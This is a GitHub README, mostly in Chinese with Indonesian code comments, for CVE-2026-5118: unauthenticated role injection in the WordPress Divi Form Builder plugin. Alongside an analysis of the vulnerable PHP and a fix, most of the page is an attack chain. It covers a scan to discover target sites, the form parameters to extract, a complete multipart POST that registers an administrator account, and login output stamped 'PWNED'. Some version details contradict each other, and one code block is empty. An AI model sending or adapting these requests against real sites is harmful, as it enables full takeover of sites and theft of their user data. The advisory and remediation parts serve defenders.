zycoder0day/CVE-2026-5118
GitHub: zycoder0day/CVE-2026-5118
针对 WordPress Divi Form Builder 插件未经身份验证即因角色注入导致提权漏洞的完整 PoC 与修复指南。
Stars: 5 | Forks: 0
🔥 CVE-2026-5118
Divi Form Builder <= 5.1.2 — Unauthenticated Privilege Escalation
## 🎯 概述
WordPress 插件 **Divi Form Builder**(**5.1.2 及更早版本**)存在一个 **Critical** 漏洞,允许 **未经身份验证的攻击者** 直接通过注册表单创建 **Administrator** 账户。
## 🧨 攻击者能做什么?
| 能力 | 影响 |
|---|---|
| 🔑 无需登录即可创建管理员账户 | **Full Site Takeover** |
| 📦 访问 WooCommerce 客户数据 | **Data Breach** |
| 💉 编辑插件/主题文件 (PHP) | **Remote Code Execution** |
| 🕳️ 创建隐藏的后门 | **Persistent Access** |
| 👥 查看所有用户数据 | **Privacy Violation** |
## 🔬 漏洞分析
### 漏洞位置
```
includes/shared/handlers/FormSubmissionHandler.php → create_user()
```
### 脆弱的代码
```
// Baris ~1691: Ambil role dari input user (TANPA VALIDASI KEAMANAN)
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';
// Baris ~1702: Hanya cek APAKAH role ADA di sistem, BUKAN apakah role AMAN
$roles_obj = function_exists('wp_roles') ? wp_roles() : null;
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles)
&& !isset($roles_obj->roles[$role])) {
$role = 'subscriber';
}
// Baris ~1745: Langsung terapkan role yang diinjeksi!
$user = new WP_User($user_id);
$user->set_role($role); // ← "administrator" langsung diterapkan
```
### 为什么会成功?
```
ALUR VALIDASI YANG BERMASALAH
┌──────────────────────────────────────────────────────┐
│ Penyerang kirim: role=administrator │
│ ↓ │
│ sanitize_text_field() → "administrator" (bersih) │
│ ↓ │
│ isset($roles_obj->roles["administrator"]) → TRUE │ ← BUG! Hanya cek ADA/TIDAK
│ ↓ │
│ $user->set_role("administrator") → ADMIN PENUH! │ ← PRIVESC!
└──────────────────────────────────────────────────────┘
"administrator" ADALAH role yang valid di WordPress,
jadi validasi isset() SELALU return true.
Fungsi ini TIDAK PERNAH menolak role berbahaya.
```
### 攻击向量
DFB 注册表单包含 hidden input:
```
```
## 🛠️ PoC — 攻击链
### 阶段 1:探测 — 寻找目标
```
[★] Target Discovery: Divi Form Builder indicator
├── Endpoint scan: 50+ path registrasi
├── Homepage link crawl: keyword priority
├── REST API: /wp-json/wp/v2/pages?search=register
├── Sitemap parsing: XML sitemap URLs
├── DFB REST API: /wp-json/divi-form-builder/v1
├── AJAX probe: de_fb_ajax_submit_ajax_handler
├── WooCommerce: /my-account/ sub-pages
├── robots.txt: custom sitemaps + disallow
├── Contact pages: DFB forms tersembunyi
└── wp-json deep: content-first scan
[✓] Ditemukan:
[✓] Versi plugin: v4.1.9 (VULNERABLE)
[✓] Form multi-step dengan reCAPTCHA v3
```
### 阶段 2:提取表单参数
```
Parameter yang diperlukan:
├── fb_nonce: [dari hidden input / de_fb_obj]
├── form_key: [dari hidden input]
├── form_type: register
├── divi-form-submit: yes
└── role: [INJEKSI: administrator]
Field pemetaan:
├── de_fb_user_login + user_login (kedua varian wajib)
├── de_fb_user_email + user_email
├── de_fb_user_pass + user_pass
└── de_fb_pass_repeat
```
### 阶段 3:Role 注入 — 提权
```
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----POC
X-Requested-With: XMLHttpRequest
------POC
Content-Disposition: form-data; name="action"
de_fb_ajax_submit_ajax_handler
------POC
Content-Disposition: form-data; name="fb_nonce"
[nonce_dari_form]
------POC
Content-Disposition: form-data; name="role"
administrator
------POC
Content-Disposition: form-data; name="form_type"
register
------POC
Content-Disposition: form-data; name="divi-form-submit"
yes
------POC
Content-Disposition: form-data; name="de_fb_user_login"
attacker1337
------POC
Content-Disposition: form-data; name="user_login"
attacker1337
------POC
Content-Disposition: form-data; name="de_fb_user_pass"
Str0ngP@ss!
------POC
Content-Disposition: form-data; name="user_pass"
Str0ngP@ss!
------POC
Content-Disposition: form-data; name="de_fb_user_email"
attacker@proton.me
------POC
Content-Disposition: form-data; name="user_email"
attacker@proton.me
------POC--
```
### 阶段 4:验证 — 获取 Administrator 权限
```
[→] POST /wp-login.php
user_login=attacker1337&user_pass=Str0ngP@ss!
[←] HTTP 302 → /wp-admin/
[✓] FULL ADMINISTRATOR ACCESS CONFIRMED
├── Dashboard: /wp-admin/
├── Users: Can create/delete any user
├── Plugins: Can install/activate/edit PHP
├── Themes: Can edit template files → RCE
└── Settings: Full site control
```
## 🧪 实验室验证
测试在 **isolated Docker environment**(WordPress 6.5 + DFB v5.0.0)中进行:
```
╔══════════════════════════════════════════════════════╗
║ LAB VERIFICATION RESULTS ║
╠══════════════════════════════════════════════════════╣
║ Method: AJAX (admin-ajax.php) ║
║ Role injected: administrator ║
║ Response: "Registration successful!" ║
║ Login: HTTP 302 → /wp-admin/ ✓ ║
║ ───────────────────────────────────────────────── ║
║ Method: Form POST (direct submission) ║
║ Role injected: administrator ║
║ Response: "Registration successful!" ║
║ Login: HTTP 302 → /wp-admin/ ✓ ║
║ ───────────────────────────────────────────────── ║
║ Status: ★ PWNED — Full Admin Access ★ ║
╚══════════════════════════════════════════════════════╝
```
## 🔧 推荐的修复方案
### 解决方案:Allowlist Role Registration
```
// SEBELUM (rentan):
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';
$roles_obj = function_exists('wp_roles') ? wp_roles() : null;
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles)
&& !isset($roles_obj->roles[$role])) {
$role = 'subscriber'; // ← Hanya cek ADA, bukan AMAN
}
// SESUDAH (aman):
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';
// Hanya izinkan role yang aman untuk registrasi publik
$allowed_registration_roles = array('subscriber', 'contributor');
if (!in_array($role, $allowed_registration_roles, true)) {
$role = 'subscriber'; // ← Tolak semua role berbahaya
}
```
### 额外步骤
1. **从前端表单中移除 `role` 参数** — 使用现有的 `default_user_role`
2. 在 AJAX handler 上添加严格的 **nonce verification**
3. 针对特殊 role 添加 **capability check** `current_user_can('create_users')`
4. 对注册 endpoint 实施 **Rate limiting** 以防止暴力破解
## 📊 时间线
| 日期 | 事件 |
|---------|-------|
| 2026-04-13 | 5.1.3 版本发布(根据更新日志推测为修复) |
| 2026-05-21 | 在隔离实验室中独立验证漏洞 |
| 2026-05-21 | 向 Divi Engine Security 发送了 Responsible disclosure |
## 🛡️ 临时缓解措施(补丁发布前)
1. 如果可用,**更新至 5.1.3+ 版本**
2. 在应用修复之前**禁用 DFB 注册表单**
3. **使用 WAF 规则**拦截 POST 请求中的 `role=administrator` 参数
4. **监控** `wp_users` 表,防范未知的新管理员账户
5. **限制访问** `/wp-admin/admin-ajax.php?action=de_fb_ajax_submit_ajax_handler`
## ⚖️ 免责声明
本文档仅用于**教育和 responsible disclosure** 目的。所有漏洞利用测试均在**隔离的实验室环境**中进行。对于真实目标,仅执行**被动检测**(识别表单和参数,不发送任何漏洞利用数据)。
**作者不对**本文档中信息的任何滥用行为**负责**。
CVE-2026-5118 • Divi Form Builder ≤ 5.1.2 • 未经身份验证的提权
发现与验证:2026-05-21
标签:Web安全, WordPress插件, 协议分析, 文件完整性监控, 权限提升, 蓝队分析, 请求拦截